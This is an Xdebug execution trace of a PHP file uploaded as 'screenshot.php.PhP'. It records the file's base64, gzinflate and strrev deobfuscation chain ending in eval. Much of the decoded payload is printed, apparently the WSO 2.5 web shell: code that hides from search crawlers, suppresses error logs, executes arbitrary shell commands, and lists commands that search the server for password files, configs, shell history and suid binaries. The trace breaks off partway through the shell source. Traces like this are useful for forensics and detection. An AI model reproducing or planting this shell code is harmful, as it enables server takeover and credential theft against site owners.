Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 00:52:53.140620] 1 0 1 0.000385 393608 1 3 0 0.001466 504440 {main} 1 /var/www/html/uploads/screenshot.php.PhP 0 0 1 A /var/www/html/uploads/screenshot.php.PhP 7 $tIIxw = '_ukod' 1 A /var/www/html/uploads/screenshot.php.PhP 7 $yF5rI = 'base64_decode' 2 4 0 0.001514 504440 Sr3vj 1 /var/www/html/uploads/screenshot.php.PhP 7 1 'oI0iyYRHuuqdZxQYmdX8yRGErwmz7wC1t1wOjZOVmVaVdGqNUu1ABmzWs4LiOaKbbxQPlTIvRILrNJTLTIDgz8wya0BhRvpn1kZy5YjzW70WT4c1J4Sylc4buNRwV6z7d6tcjcBw32NLJaWC5Pe6E4ob82r1EyAhIipmQBHQCKmNw4pJpZyWkdlnXCJV8SjdFiTX44GagFs3903k6jQXR8WKcZ1gqygKa81dNkg7iBOmNPFrkCorXXRVkFGXH0OoFxGdIoZUwka3r0hNb3Xm3nHz8JReQVPmxHFnK1dsIimPyVwFMrhvyZBZ7XXrGGLlr3NiHUJehabB6GEt4vqsOQSRzFISmDFTRnfbAyYnNzSnYOYyWrqmp6CtWysdppsVybvo9jBEYyltsMNcGgNHqb9sabqVlIZnRjPtH5igeZdDIw64zAssQPyZsjuQSGogwGsYFZqSQicTGzNivgJyCWsa1Qg7F6m0omcaqdtYEctoQKbD6RTD0PdzTxU3056T' 3 5 0 0.001566 504488 aBSrr 1 /var/www/html/uploads/screenshot.php.PhP 7 1 'oI0iyYRHuuqdZxQYmdX8yRGErwmz7wC1t1wOjZOVmVaVdGqNUu1ABmzWs4LiOaKbbxQPlTIvRILrNJTLTIDgz8wya0BhRvpn1kZy5YjzW70WT4c1J4Sylc4buNRwV6z7d6tcjcBw32NLJaWC5Pe6E4ob82r1EyAhIipmQBHQCKmNw4pJpZyWkdlnXCJV8SjdFiTX44GagFs3903k6jQXR8WKcZ1gqygKa81dNkg7iBOmNPFrkCorXXRVkFGXH0OoFxGdIoZUwka3r0hNb3Xm3nHz8JReQVPmxHFnK1dsIimPyVwFMrhvyZBZ7XXrGGLlr3NiHUJehabB6GEt4vqsOQSRzFISmDFTRnfbAyYnNzSnYOYyWrqmp6CtWysdppsVybvo9jBEYyltsMNcGgNHqb9sabqVlIZnRjPtH5igeZdDIw64zAssQPyZsjuQSGogwGsYFZqSQicTGzNivgJyCWsa1Qg7F6m0omcaqdtYEctoQKbD6RTD0PdzTxU3056T' 4 6 0 0.001605 504488 hex2bin 0 /var/www/html/uploads/screenshot.php.PhP 7 1 '393236' 4 6 1 0.001619 504552 4 6 R '926' 4 7 0 0.001634 504488 substr 0 /var/www/html/uploads/screenshot.php.PhP 7 2 'oI0iyYRHuuqdZxQYmdX8yRGErwmz7wC1t1wOjZOVmVaVdGqNUu1ABmzWs4LiOaKbbxQPlTIvRILrNJTLTIDgz8wya0BhRvpn1kZy5YjzW70WT4c1J4Sylc4buNRwV6z7d6tcjcBw32NLJaWC5Pe6E4ob82r1EyAhIipmQBHQCKmNw4pJpZyWkdlnXCJV8SjdFiTX44GagFs3903k6jQXR8WKcZ1gqygKa81dNkg7iBOmNPFrkCorXXRVkFGXH0OoFxGdIoZUwka3r0hNb3Xm3nHz8JReQVPmxHFnK1dsIimPyVwFMrhvyZBZ7XXrGGLlr3NiHUJehabB6GEt4vqsOQSRzFISmDFTRnfbAyYnNzSnYOYyWrqmp6CtWysdppsVybvo9jBEYyltsMNcGgNHqb9sabqVlIZnRjPtH5igeZdDIw64zAssQPyZsjuQSGogwGsYFZqSQicTGzNivgJyCWsa1Qg7F6m0omcaqdtYEctoQKbD6RTD0PdzTxU3056T' 926 4 7 1 0.001675 533224 4 7 R '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 3 A /var/www/html/uploads/screenshot.php.PhP 7 $yIYIR = '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 4 8 0 0.001755 533160 hex2bin 0 /var/www/html/uploads/screenshot.php.PhP 7 1 '30' 4 8 1 0.001769 533224 4 8 R '0' 4 9 0 0.001782 533160 hex2bin 0 /var/www/html/uploads/screenshot.php.PhP 7 1 '2d323938' 4 9 1 0.001795 533224 4 9 R '-298' 4 10 0 0.001809 533160 substr 0 /var/www/html/uploads/screenshot.php.PhP 7 3 '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 0 -298 4 10 1 0.001849 557832 4 10 R '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 3 A /var/www/html/uploads/screenshot.php.PhP 7 $yIYIR = '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 3 5 1 0.001935 529064 3 5 R '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 3 11 0 0.001976 529064 base64_decode 0 /var/www/html/uploads/screenshot.php.PhP 7 1 '5X17Vxs38Ojf9Jx+B7F1u3ZjjG2SNsUxgRBIyAMojyRN4Oeu7TXest7d7q4xhOa735mRtCvtw5ikvY9z+8C2NBqNpNFoNBqNvvu+EzvX9nffd2rnpmV+Ojk+OOxVWIOZnu/EA8usDrzpqBfa0bTnutZg6bvva6wMNIojwNWjn1CK/fSTBlq9iYOJvcyqIwfqM/2Rtzewj03WZQrQEtRgR64NHx2Otxe7U2tkDyt5wFotC3IHNRnwamxHkQP05JrFaeWkfoH/lngPtYIEwLWubKThliG5jENYlar92XEtBzqM+eMBQXRqRKtpD/1Jzx5ZkQn1XvQcz9lkG11mYDomG0sIV98/2Ds+2nnXOzh+T9lAcxTaVz0/mgmIWlWkBeNAA4HfCYg9sbxpT0LQL55XvbHC0ILOtCqcfq1dm8u8OyC5un3E+4vJPqS+6NSqoR37/i4QhK0zN66c4eoTk7eX99UX3m7DDRqD/mowiVeN6qXnuN6UKf8AiLFhh8HqE6Mh' 3 11 1 0.002072 553672 3 11 R '鍈{W\0337痂唪渵\a眜籿c宮𘊡乗020H萛003($M噻5薏掭町1勬贿檻+砻槫綇s4\032崵裩4\032嵕\023;做w遷j绂e~:9>8霼X儥烇腬003爽\016奸╘027谘寸褐`榛飇琝f4#勒P婟魮\006Z綁儔教#\a3龖7皬M謊\n衆022訿G甛r\037\035幏\027籗kd\017+y繸-\vr\a5\031餵lG慭003翡毰i澶~杧\017祩\004赖甽め!箤CX暘q-\a:岡鉢001AtjD玦\017齀蟎036Y慭t鮚鬨034腺d\033]f`:&\033K\bW?;>趛;8~O貮s\024赪=?歕t圸U005鉆\003佭\t=奔iOB/濿奖滦偽*渵璢浰; 购}柠嬌>ぞ柙\035.\020劖37疁彡\023摲楓誠027辬肻r\032凗j0塛嶊ョ皋)\000埍a嚵闬023!`Y`嘰027靄' 3 12 0 0.002429 529064 gzinflate 0 /var/www/html/uploads/screenshot.php.PhP 7 1 '鍈{W\0337痂唪渵\a眜籿c宮𘊡乗020H萛003($M噻5薏掭町1勬贿檻+砻槫綇s4\032崵裩4\032嵕\023;做w遷j绂e~:9>8霼X儥烇腬003爽\016奸╘027谘寸褐`榛飇琝f4#勒P婟魮\006Z綁儔教#\a3龖7皬M謊\n衆022訿G甛r\037\035幏\027籗kd\017+y繸-\vr\a5\031餵lG慭003翡毰i澶~杧\017祩\004赖甽め!箤CX暘q-\a:岡鉢001AtjD玦\017齀蟎036Y慭t鮚鬨034腺d\033]f`:&\033K\bW?;>趛;8~O貮s\024赪=?歕t圸U005鉆\003佭\t=奔iOB/濿奖滦偽*渵璢浰; 购}柠嬌>ぞ柙\035.\020劖37疁彡\023摲楓誠027辬肻r\032凗j0塛嶊ョ皋)\000埍a嚵闬023!`Y`嘰027靄' 3 12 1 0.002985 598728 3 12 R '\n\r;tixe\n\r;)]\'a\'[TSOP_$ . \'noitca\'(cnuf_resu_llac\t\n\r) )]\'a\'[TSOP_$ . \'noitca\'(stsixe_noitcnuf && )]\'a\'[TSOP_$(ytpme! (fi\n\r;\'ofnIceS\' = ]\'a\'[TSOP_$\t\t\n\resle\t\n\r;noitca_tluafed$ = ]\'a\'[TSOP_$\t\t\n\r))noitca_tluafed$ . \'noitca\'(stsixe_noitcnuf && )noitca_tluafed$(tessi(fi\t\n\r) )]\'a\'[TSOP_$(ytpme (fi\n\r}\n\r}\t\n\r;)]\'1p\'[TSOP_$(lave\t\t\n\r{ esle }\t\n\r;)a$(ezilaires ohce\t\t\n\r;)\t\t\n\r)\'edom_efas\'(teg_ini@ >= "edomefas"\t\t\t\n\r,NOISREV_OSW >= "noisrev_osw"\t\t\t\' 3 13 0 0.003148 574120 strrev 0 /var/www/html/uploads/screenshot.php.PhP 7 1 '\n\r;tixe\n\r;)]\'a\'[TSOP_$ . \'noitca\'(cnuf_resu_llac\t\n\r) )]\'a\'[TSOP_$ . \'noitca\'(stsixe_noitcnuf && )]\'a\'[TSOP_$(ytpme! (fi\n\r;\'ofnIceS\' = ]\'a\'[TSOP_$\t\t\n\resle\t\n\r;noitca_tluafed$ = ]\'a\'[TSOP_$\t\t\n\r))noitca_tluafed$ . \'noitca\'(stsixe_noitcnuf && )noitca_tluafed$(tessi(fi\t\n\r) )]\'a\'[TSOP_$(ytpme (fi\n\r}\n\r}\t\n\r;)]\'1p\'[TSOP_$(lave\t\t\n\r{ esle }\t\n\r;)a$(ezilaires ohce\t\t\n\r;)\t\t\n\r)\'edom_efas\'(teg_ini@ >= "edomefas"\t\t\t\n\r,NOISREV_OSW >= "noisrev_osw"\t\t\t\' 3 13 1 0.003400 643784 3 13 R '\r\n$color = "#df5";\r\n$default_action = \'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n header(\'HTTP/1.0 404 Not Found\');\r\n exit;\r\n }\r\n}\r\n\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',' 2 4 1 0.003578 574120 2 4 R '\r\n$color = "#df5";\r\n$default_action = \'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n header(\'HTTP/1.0 404 Not Found\');\r\n exit;\r\n }\r\n}\r\n\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',' 2 14 0 0.005816 1067888 eval 1 '\r\n$color = "#df5";\r\n$default_action = \'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n header(\'HTTP/1.0 404 Not Found\');\r\n exit;\r\n }\r\n}\r\n\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif (PHP_VERSION_ID < 70000)\r\n\t@set_magic_quotes_runtime(0);\r\n@define(\'WSO_VERSION\', \'2.5\');\r\n\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction WSOstripslashes($array) {\r\n\t\treturn is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = WSOstripslashes($_POST);\r\n $_COOKIE = WSOstripslashes($_COOKIE);\r\n}\r\n\r\nfunction WSOsetcookie($k, $v) {\r\n $_COOKIE[$k] = $v;\r\n setcookie($k, $v);\r\n}\r\n\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n error_reporting(0);\r\n\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\r\n\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n \t"Show active connections" => "netstat -an",\r\n \t"Show running services" => "net start",\r\n \t"User accounts" => "net user",\r\n \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\n\r\nfunction wsoHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\r\n\tglobal $color;\r\n\techo "" . $_SERVER[\'HTTP_HOST\'] ."\r\n\r\n\r\n
\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n
";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "".$path[$i]."/";\r\n\t}\r\n\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $item)\r\n\t\t$opt_charsets .= \'\';\r\n\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\', \'Console\'=>\'Console\',\'Sql\'=>\'Sql\', \'FoxAutoV5\' => \'https://anonymousfox.co\', \'Php\'=>\'Php\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'auth_pass\']))\r\n\t\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v){\r\n\t\tif($k == \'FoxAutoV5\'){\r\n\t\t\t$menu .= \'[ \'.$k.\' ]\';\r\n\t\t}else{\r\n\t\t\t$menu .= \'[ \'.$k.\' ]\';\r\n\t\t}\r\n\t}\r\n\t$drives = "";\r\n\tif($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif(is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'[ \'.$drive.\' ] \';\r\n\t}\r\n\techo \'\'\r\n . \'\'\r\n . \'
Uname:
User:
Php:
Hdd:
Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'
Drives:\':\'\') . \'		\' . substr(@php_uname(), 0, 120) . \'
\' . $uid . \' ( \' . $user . \' ) Group: \' . $gid . \' ( \' . $group . \' )
\' . @phpversion() . \' Safe mode: \' . ($GLOBALS[\'safe_mode\']?\'ON\':\'OFF\')\r\n . \' [ phpinfo ] Datetime: \' . date(\'Y-m-d H:i:s\') . \'
\' . wsoViewSize($totalSpace) . \' Free: \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)
\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' [ home ]
\' . $drives . \'
Server IP:
\' . @$_SERVER["SERVER_ADDR"] . \'
Client IP:
\' . $_SERVER[\'REMOTE_ADDR\'] . \'
\'\r\n . \'\' . $menu . \'
\';\r\n}\r\n\r\nfunction wsoFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" (Writeable)":" (Not writable)";\r\n echo "\r\n
\r\n\r\n\t\r\n\t\t\r\n\t\t\r\n\t\r\n\t\t\r\n\t\t\r\n\t\r\n\t\t\r\n\t\t\r\n\t
Change dir:
>\'>
Read file:
>\'>
Make dir:$is_writable
>\'>
Make file:$is_writable
>\'>
Execute:
>\'>
\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\tUpload file:$is_writable
>\'>

";\r\n}\r\n\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\r\n function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\r\n function posix_getgrgid($p) {return false;} }\r\n\r\nfunction wsoEx($in) {\r\n\t$out = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$out);\r\n\t\t$out = @join("\\n",$out);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$out = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$out = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$out = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$out = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$out .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}\r\n\treturn $out;\r\n}\r\n\r\nfunction wsoViewSize($s) {\r\n if (is_int($s))\r\n $s = sprintf("%u", $s);\r\n \r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\n\r\nfunction wsoPerms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\n\r\nfunction wsoPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'\' . wsoPerms(@fileperms($f)) . \'\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'\' . wsoPerms(@fileperms($f)) . \'\';\r\n\telse\r\n\t\treturn \'\' . wsoPerms(@fileperms($f)) . \'\';\r\n}\r\n\r\nfunction wsoScandir($dir) {\r\n if(function_exists("scandir")) {\r\n return scandir($dir);\r\n } else {\r\n $dh = opendir($dir);\r\n while (false !== ($filename = readdir($dh)))\r\n $files[] = $filename;\r\n return $files;\r\n }\r\n}\r\n\r\nfunction wsoWhich($p) {\r\n\t$path = wsoEx(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n\r\nfunction actionSecInfo() {\r\n\twsoHeader();\r\n\techo \'

